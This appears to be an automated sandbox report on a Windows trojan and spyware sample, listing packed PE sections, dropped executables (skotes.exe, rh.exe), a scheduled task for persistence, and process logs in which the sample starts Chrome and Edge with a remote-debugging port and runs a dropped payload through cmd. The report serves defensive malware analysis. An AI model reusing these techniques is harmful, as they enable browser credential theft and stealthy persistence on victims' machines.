Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name:
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: rh[1].exe.38.dr	Static PE information: section name:
Source: rh[1].exe.38.dr	Static PE information: section name: .idata
Source: rh[1].exe.38.dr	Static PE information: section name:
Source: rh.exe.38.dr	Static PE information: section name:
Source: rh.exe.38.dr	Static PE information: section name: .idata
Source: rh.exe.38.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C99B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C99B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C99B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C93F280

Source: C:\Users\user\DocumentsFHJDBKJKFI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9335A0	0_2_6C9335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C946C80	0_2_6C946C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9934A0	0_2_6C9934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99C4A0	0_2_6C99C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4D0	0_2_6C95D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9464C0	0_2_6C9464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976CF0	0_2_6C976CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93D4E0	0_2_6C93D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975C10	0_2_6C975C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C982C10	0_2_6C982C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AAC00	0_2_6C9AAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A542B	0_2_6C9A542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A545C	0_2_6C9A545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945440	0_2_6C945440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C970DD0	0_2_6C970DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9985F0	0_2_6C9985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C960512	0_2_6C960512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95ED10	0_2_6C95ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94FD00	0_2_6C94FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955E90	0_2_6C955E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E680	0_2_6C99E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994EA0	0_2_6C994EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93BEF0	0_2_6C93BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94FEF0	0_2_6C94FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A76E3	0_2_6C9A76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977E10	0_2_6C977E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985600	0_2_6C985600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999E30	0_2_6C999E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C959E50	0_2_6C959E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C973E50	0_2_6C973E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C954640	0_2_6C954640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C982E4E	0_2_6C982E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93C670	0_2_6C93C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6E63	0_2_6C9A6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9877A0	0_2_6C9877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966FF0	0_2_6C966FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93DFE0	0_2_6C93DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977710	0_2_6C977710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C949F00	0_2_6C949F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9660A0	0_2_6C9660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A50C7	0_2_6C9A50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C0E0	0_2_6C95C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9758E0	0_2_6C9758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C947810	0_2_6C947810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B820	0_2_6C97B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984820	0_2_6C984820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C958850	0_2_6C958850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D850	0_2_6C95D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F070	0_2_6C97F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975190	0_2_6C975190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992990	0_2_6C992990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D9B0	0_2_6C96D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93C9A0	0_2_6C93C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95A940	0_2_6C95A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B970	0_2_6C98B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB170	0_2_6C9AB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94D960	0_2_6C94D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9ABA90	0_2_6C9ABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94CAB0	0_2_6C94CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2AB0	0_2_6C9A2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9322A0	0_2_6C9322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964AA0	0_2_6C964AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978AC0	0_2_6C978AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C951AF0	0_2_6C951AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97E2F0	0_2_6C97E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979A60	0_2_6C979A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93F380	0_2_6C93F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A53C8	0_2_6C9A53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D320	0_2_6C97D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C935340	0_2_6C935340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C370	0_2_6C94C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DECC0	0_2_6C9DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3ECD0	0_2_6CA3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABAC30	0_2_6CABAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6C00	0_2_6CAA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAC60	0_2_6C9EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E4DB0	0_2_6C9E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76D90	0_2_6CA76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6CDC0	0_2_6CB6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68D20	0_2_6CB68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAED70	0_2_6CAAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AD50	0_2_6CB0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66E90	0_2_6CA66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAEC0	0_2_6C9EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80EC0	0_2_6CA80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0E20	0_2_6CAC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7EE70	0_2_6CA7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28FB0	0_2_6CB28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EEFB0	0_2_6C9EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEFF0	0_2_6CABEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E0FE0	0_2_6C9E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E6F10	0_2_6C9E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20F20	0_2_6CB20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2F70	0_2_6CAA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4EF40	0_2_6CA4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE68E0	0_2_6CAE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA30820	0_2_6CA30820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6A820	0_2_6CA6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4840	0_2_6CAB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA709A0	0_2_6CA709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A9A0	0_2_6CA9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA09B0	0_2_6CAA09B0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C96CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9794D0 appears 90 times

Source: file.exe, 00000000.00000002.2853758359.000000006CBB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: fswcchxk ZLIB complexity 0.9945620023287259
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981639560626703
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: Section: qjiksrqu ZLIB complexity 0.9947746206486164
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981639560626703
Source: random[1].exe.0.dr	Static PE information: Section: qjiksrqu ZLIB complexity 0.9947746206486164
Source: skotes.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9981639560626703
Source: skotes.exe.26.dr	Static PE information: Section: qjiksrqu ZLIB complexity 0.9947746206486164
Source: rh[1].exe.38.dr	Static PE information: Section: ZLIB complexity 0.9969982414667896
Source: rh[1].exe.38.dr	Static PE information: Section: ettnbbde ZLIB complexity 0.9923916903409091
Source: rh.exe.38.dr	Static PE information: Section: ZLIB complexity 0.9969982414667896
Source: rh.exe.38.dr	Static PE information: Section: ettnbbde ZLIB complexity 0.9923916903409091

Source: rh.exe.38.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: rh[1].exe.38.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.26.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: rh.exe, 00000027.00000002.3453295353.00000000009D9000.00000040.00000001.01000000.0000000F.sdmp, rh.exe, 00000027.00000003.3443912909.0000000004D58000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: rh.exe, 00000027.00000002.3453295353.00000000009D9000.00000040.00000001.01000000.0000000F.sdmp, rh.exe, 00000027.00000003.3443912909.0000000004D58000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/294@24/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C997030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C997030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\4NGSX863.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\9d76fee9-0987-4e7d-99ff-ebc623fd6095.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2475608680.000000001D559000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2565253827.000000001D54D000.00000004.00000020.00020000.00000000.sdmp, JDGCFBAFBFHJEBGCAEGH.0.dr, AKJDGDGDHDGDBFIDHDBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2851441899.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFHJDBKJKFI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2776,i,10771132185117842424,4452386678917931713,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2220,i,17669870476821069415,9819844109615631793,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2876 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6556 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJDBKJKFI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHJDBKJKFI.exe "C:\Users\user\DocumentsFHJDBKJKFI.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe "C:\Users\user\AppData\Local\Temp\1008496001\rh.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHJDBKJKFI.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
